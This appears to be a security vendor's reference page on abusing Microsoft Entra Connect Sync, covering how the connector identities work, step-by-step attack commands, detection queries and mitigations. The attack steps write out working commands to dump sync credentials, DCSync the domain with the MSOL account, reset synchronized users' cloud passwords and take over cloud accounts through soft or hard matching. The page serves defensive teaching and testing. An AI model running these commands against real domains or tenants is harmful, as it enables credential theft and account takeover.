1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Entra Connect Sync Account Abuse

Also known as: MSOL account abuse, Azure AD Connect credential dump, Sync account takeover, Hard match takeover, Soft match takeover

A local administrator on the Microsoft Entra Connect server extracts the synchronization credentials, replicates Active Directory password hashes with one account and rewrites cloud users with the other.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Local administrator on the Microsoft Entra Connect Sync server (or a copy of its database and keys). For the matching variants: write access to synchronized AD users.
What the attacker gains
Every password hash in the forest through the AD DS connector account, and control of synchronized cloud users through the Microsoft Entra connector identity.
Threat groups
APT29APT28APT33APT38APT5Earth LuscaHAFNIUMKe3changLAPSUS$Lazarus GroupMustang PandaNIMBUS MANTICOREScattered SpiderShinyHuntersand 3 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1556.007, T1078.004, T1003.006, T1098.

How it works

Microsoft Entra Connect Sync copies users, groups and, with password hash synchronization (PHS), password hashes from Active Directory to Microsoft Entra ID. To do that the server holds three identities, and an attacker who controls the server controls all three:

  • The AD DS connector account reads (and, with writeback features, writes) the forest. An express installation creates it in the Users container as MSOL_<hex>. With PHS it holds Replicate Directory Changes and Replicate Directory Changes All on every domain, because the hashes are fetched over the directory replication protocol. Those are the rights behind a DCSync. Express settings also give it Read/Write on all user, group and contact properties and Reset password.
  • The ADSync service account runs the synchronization engine on the server and owns the ADSync database, where the configuration and the encrypted connector credentials live.
  • The Microsoft Entra connector identity acts in the tenant. In the legacy configuration it is a cloud user named Sync_<server>_<hex> that holds the Directory Synchronization Accounts role and has a long, non-expiring password stored on the server. Current builds use application-based authentication instead: a service principal that authenticates with a certificate and holds the ADSynchronization.ReadWrite.All app role. New installations use the application identity; existing servers keep the legacy account until an administrator switches them, and the old account stays in the tenant until someone removes it.

The stored credentials are protected with keys that the ADSync service account can read. A local administrator can impersonate that service, so local administrator on the sync server equals possession of both connector credentials. This is why Microsoft tells customers to treat the server as a Tier 0 asset.

The page covers four variants:

  • AD side: replication with the MSOL account. The connector account's password gives the attacker every hash in the domain, including krbtgt.
  • Cloud side: the synchronization API. The connector identity may call the provisioning API that Entra Connect itself uses. It can create and modify synchronized objects and, with PHS, set their password hashes.
  • Soft match and hard match takeover. A synchronized object can attach to a cloud object that already exists. Soft match joins on userPrincipalName or the primary SMTP address; hard match joins on the source anchor (onPremisesImmutableId). After the join the cloud account is managed from on-premises, and with PHS its cloud password is replaced by the on-premises one. Anyone who can create or edit the matching AD user, or call the sync API, can aim this at an existing cloud account.
  • Cloud Sync. The lighter provisioning agent keeps its configuration in the tenant and reads AD with a group managed service account. Its attack surface is the agent host, the gMSA's delegation and the provisioning configuration (scope and attribute mappings) in the tenant.

Connect Health agents

Microsoft Entra Connect Health agents report health and usage data for sync servers, AD FS and domain controllers. Registration binds an agent to a monitored service; it does not authenticate users. An identity that may register agents can add a server of its own to an existing service, and a fake AD FS member can then report sign-in events that appear in the tenant's reports. The effect is on evidence and monitoring, not on authentication.

Prerequisites

  • Local administrator on the active or staging Entra Connect Sync server. A staging server holds the same connector credentials.
  • Alternatively, a copy of the ADSync database together with the key material, for example from a backup or over the network with administrative access to the host.
  • For the AD variant: network access to a domain controller.
  • For the cloud variant: the legacy connector user, or the service principal's certificate when its key is stored in software.
  • For matching without the server: the right to create or modify a synchronized AD user (its UPN, mail or mS-DS-ConsistencyGuid), and a tenant where BlockSoftMatchEnabled or BlockCloudObjectTakeoverThroughHardMatchEnabled is false.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find the server and the accounts

Any domain user can find the connector account; its description names the server it was created for:

Get-ADUser -LDAPFilter '(sAMAccountName=MSOL_*)' -Properties description |
    Select-Object SamAccountName, Description

In the tenant, the legacy connector user is a member of the Directory Synchronization Accounts role and its name starts with Sync_ followed by the server name.

2. Extract the credentials on the sync server

With AADInternals, as a local administrator on the server:

Install-Module AADInternals
Import-Module AADInternals

# AD DS connector and Microsoft Entra connector credentials from the local database
Get-AADIntSyncCredentials

The output lists ADUser1 / ADUserPassword1 (the MSOL account, one pair per forest) and AADUser / AADUserPassword (the cloud connector user).

adconnectdump offers several routes to the same data. ADSyncDecrypt runs on the host; adconnectdump.py pulls the database over the network in the way secretsdump works and decrypts it with ADSyncQuery.exe. For a server that uses application-based authentication, ADSyncDecrypt returns a client id and a certificate thumbprint instead of a password, and ADSyncCertDump exports the certificate and key when they are software keys, or signs an assertion for use with roadtx appauth when the key is in the TPM:

ADSyncCertDump.exe <cert thumbprint> <client_id> <tenant_id>

3. AD side: replicate the domain

The MSOL account's password is all a DCSync needs:

secretsdump.py 'corp.example.com/MSOL_0123456789ab@192.0.2.10' -just-dc

See DCSync for the technique and its other tools.

4. Cloud side: use the synchronization API

Sign in as the connector user and list what synchronization can reach:

$creds = Get-AADIntSyncCredentials -AsCredentials
Get-AADIntAccessTokenForAADGraph -Credentials $creds[0] -SaveToCache

# Objects visible through the sync API, with the anchors that identify them
Get-AADIntSyncObjects | Select-Object UserPrincipalName, SourceAnchor, CloudAnchor

With password hash synchronization enabled, the same API sets a synchronized user's cloud password without touching Active Directory:

Set-AADIntUserPassword -SourceAnchor "AAAAAAAAAAAAAAAAAAAAAA==" -Password "NewPassw0rd!" -ChangeDate (Get-Date).AddYears(-1)

ROADtools hybrid does the same from Linux with a token for the connector account:

roadtx gettokens -u Sync_SRV01_0123456789ab@corp.example.com -p 'password' -r aadgraph
python setsyncuserpassword.py -a AAAAAAAAAAAAAAAAAAAAAA== -p 'NewPassw0rd!'

The tool's documentation notes that this works on synchronized accounts, not cloud-only ones. A synchronized account with a directory role is the prize, which is why Microsoft advises against synchronizing privileged accounts.

5. Soft match and hard match

Check the tenant's switches first:

Connect-MgGraph -Scopes "OnPremDirectorySynchronization.Read.All"
Get-MgDirectoryOnPremiseSynchronization | Select-Object -ExpandProperty Features |
    Select-Object BlockSoftMatchEnabled, BlockCloudObjectTakeoverThroughHardMatchEnabled

For a soft match from Active Directory, create or edit a user in a synchronized OU so that its UPN or primary SMTP address equals that of the cloud-only target, set a password you know, and wait for the next synchronization cycle. For a hard match, the anchor is what matters. The immutable ID of an AD user is the Base64 form of its object GUID:

$user = Get-ADUser "alice"
Get-AADIntImmutableID -ADUser $user

With the connector identity, the sync API can write the anchor of a cloud object directly:

Set-AADIntAzureADObject -CloudAnchor "User_00000000-0000-0000-0000-000000000000" -SourceAnchor "AAAAAAAAAAAAAAAAAAAAAA=="

After the match the cloud account is on-premises managed, and with PHS the next password sync gives it the password of the AD account the attacker controls.

6. Connect Health: register a fake service member

With an identity that may register agents, AADInternals adds a server to an existing Connect Health service:

Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
New-AADIntHybridHealthServiceMember -ServiceName "AdFederationService-sts.corp.example.com" -MachineName "SRV01"

Impact

The AD side gives the attacker the domain: every user and computer hash, krbtgt included, which leads to Golden Tickets and to the keys behind Seamless SSO. The cloud side gives control of synchronized users: new passwords, changed attributes and takeover of unprivileged cloud accounts through matching. A synchronized user that holds a directory role turns this into tenant administration. Because the connector identity is expected to sign in constantly and to modify users in bulk, the access also works as long-lived persistence that survives user password resets. This is credential theft at the junction of both directories, which is why the difference between Entra ID and Active Directory does not contain it.

OPSEC and artifacts

  • Extraction on the host. Get-AADIntSyncCredentials exports the credentials by starting a background process on the server; ADSyncDecrypt impersonates the ADSync service. Process creation, PowerShell script block logging and EDR on the server see this. The network route of adconnectdump avoids running code on the host but needs remote administrative access and downloads the database files.
  • Replication from a non-DC. Operators run the DCSync from the sync server's own address, where replication by the MSOL account is normal. From any other host, the domain controller's event 4662 shows the MSOL account using the replication rights from an unusual source, and the DRSUAPI traffic comes from a machine that is not the sync server.
  • Cloud sign-in from elsewhere. The connector user normally signs in from one address to a small set of applications. Using its password from an attacker machine writes a sign-in record with a new IP address and often a new client application. Running the tools on the sync server itself keeps the address unchanged.
  • Sync API writes. Password sets through the sync API look like password hash synchronization. Object changes appear in the audit log as Update user with the connector as initiator, mixed with thousands of legitimate rows.
  • Matching. A matched cloud object keeps its object ID but gains onPremisesSyncEnabled and the other onPremises* attributes. The audit catalog has no match-specific activity, so the trace is an Update user row plus the changed attributes. Turning the block switches off first writes Set DirSync feature.
  • Connect Health. Registering a service member is an Azure Resource Manager operation and is recorded in the Azure Activity log as Microsoft.ADHybridHealthService/services/servicemembers/action.

Detection

  • Connector account outside its routine. The sync account rules flag successful sign-ins by the Directory Synchronization service account to applications other than the ones synchronization uses, and sign-ins blocked by Conditional Access.
  • Replication by the MSOL account from the wrong host. The DCSync rules read event 4662. The MSOL account legitimately replicates for PHS, so the useful condition is the source: correlate the 4662 logon ID with the 4624 on the domain controller and alert when the address is not a sync server.
  • Password resets by the connector account. With password writeback, event 4724 by the MSOL account is expected only for self-service resets. See the connector account password reset rules.
  • Anchor and feature changes. The hard match rules watch Update user events that change the source anchor or OnPremisesObjectIdentifier, and changes to the directory synchronization features.
  • Cloud Sync configuration. Scope, mapping and job changes are covered by the provisioning configuration rules.
  • Connect Health. See the rogue server registration rule.
// Successful sign-ins by the synchronization account, by source and application.
// More than one address, or an application outside the usual set, needs an explanation.
SigninLogs
| where UserDisplayName contains "On-Premises Directory Synchronization Service Account"
| where ResultType == "0"
| summarize SignIns = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by UserPrincipalName, IPAddress, AppDisplayName
| order by FirstSeen desc
// User updates made by the connector identity that touch on-premises anchors
AuditLogs
| where ActivityDisplayName =~ "Update user"
| mv-expand target = TargetResources
| extend Changes = tostring(target.modifiedProperties)
| where Changes has_any ("SourceAnchor", "OnPremisesObjectIdentifier", "DirSyncEnabled")
| project TimeGenerated, Result, InitiatedBy, TargetObject = tostring(target.id), Changes

Mitigation

  • Treat the sync server as Tier 0. Restrict local administrators, interactive logon, SQL administration and backup operators to the people who administer domain controllers, and include staging servers. The Entra Connect hardening guide walks through the settings.
  • Move to application-based authentication with a TPM-backed key, then delete the legacy Sync_ user and its Directory Synchronization Accounts role assignment. Remove connector accounts left behind by decommissioned servers.
  • Block matching when no migration is under way. Enable BlockSoftMatchEnabled and BlockCloudObjectTakeoverThroughHardMatchEnabled; Microsoft advises keeping both on.
Connect-MgGraph -Scopes "OnPremDirectorySynchronization.ReadWrite.All"
$DirectorySync = Get-MgDirectoryOnPremiseSynchronization
Update-MgDirectoryOnPremiseSynchronization -OnPremisesDirectorySynchronizationId $DirectorySync.Id `
    -Features @{ BlockSoftMatchEnabled = "true"; BlockCloudObjectTakeoverThroughHardMatchEnabled = "true" }
  • Keep privileged accounts out of synchronization. Use cloud-only accounts for Entra roles and do not synchronize AD administrators.
  • Trim the connector account. If PHS is not used, remove the replication rights. Deny the MSOL account interactive and remote logon, and restrict who can reset its password.
  • Restrict the connector identity with Conditional Access to the sync server's egress address.
  • For Cloud Sync: limit the gMSA's delegation to the configured OUs and direction, restrict who can edit provisioning configurations, and keep accidental deletion protection on.
  • For Connect Health: restrict who can register agents and review the service member list against the approved servers.

Detection rules for this attack

Log events to collect

FAQ

What is the MSOL account and why do attackers want it?

MSOL_ followed by a hex string is the name an express installation of Microsoft Entra Connect gives the AD DS connector account. With password hash synchronization it holds Replicate Directory Changes and Replicate Directory Changes All on the domain, the two rights a DCSync needs. Its password is stored, encrypted, on the sync server.

Does application-based authentication stop the credential dump?

It removes the cloud password, not the risk. The connector then signs in as a service principal with a certificate. A local administrator can still export a software-stored key or have the server sign an assertion, and the AD DS connector account password is still stored on the server. A TPM-backed key keeps the certificate from leaving the host.

Can the sync account take over a Global Administrator?

Not through matching in a tenant with current defaults. Microsoft does not match an on-premises user to a cloud user that holds an admin role, and since 1 July 2026 a hard match is blocked when the target holds or is eligible for a privileged role. Unprivileged cloud accounts can still be matched unless the tenant blocks soft and hard match.

How do I see which identity my sync server uses in the tenant?

Read the connector's credential setting on the server: ConnectorIdentityType is ServiceAccount for the legacy Directory Synchronization Accounts user and Application for a service principal. In the tenant, list the members of the Directory Synchronization Accounts role and remove any account that the current servers no longer use.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.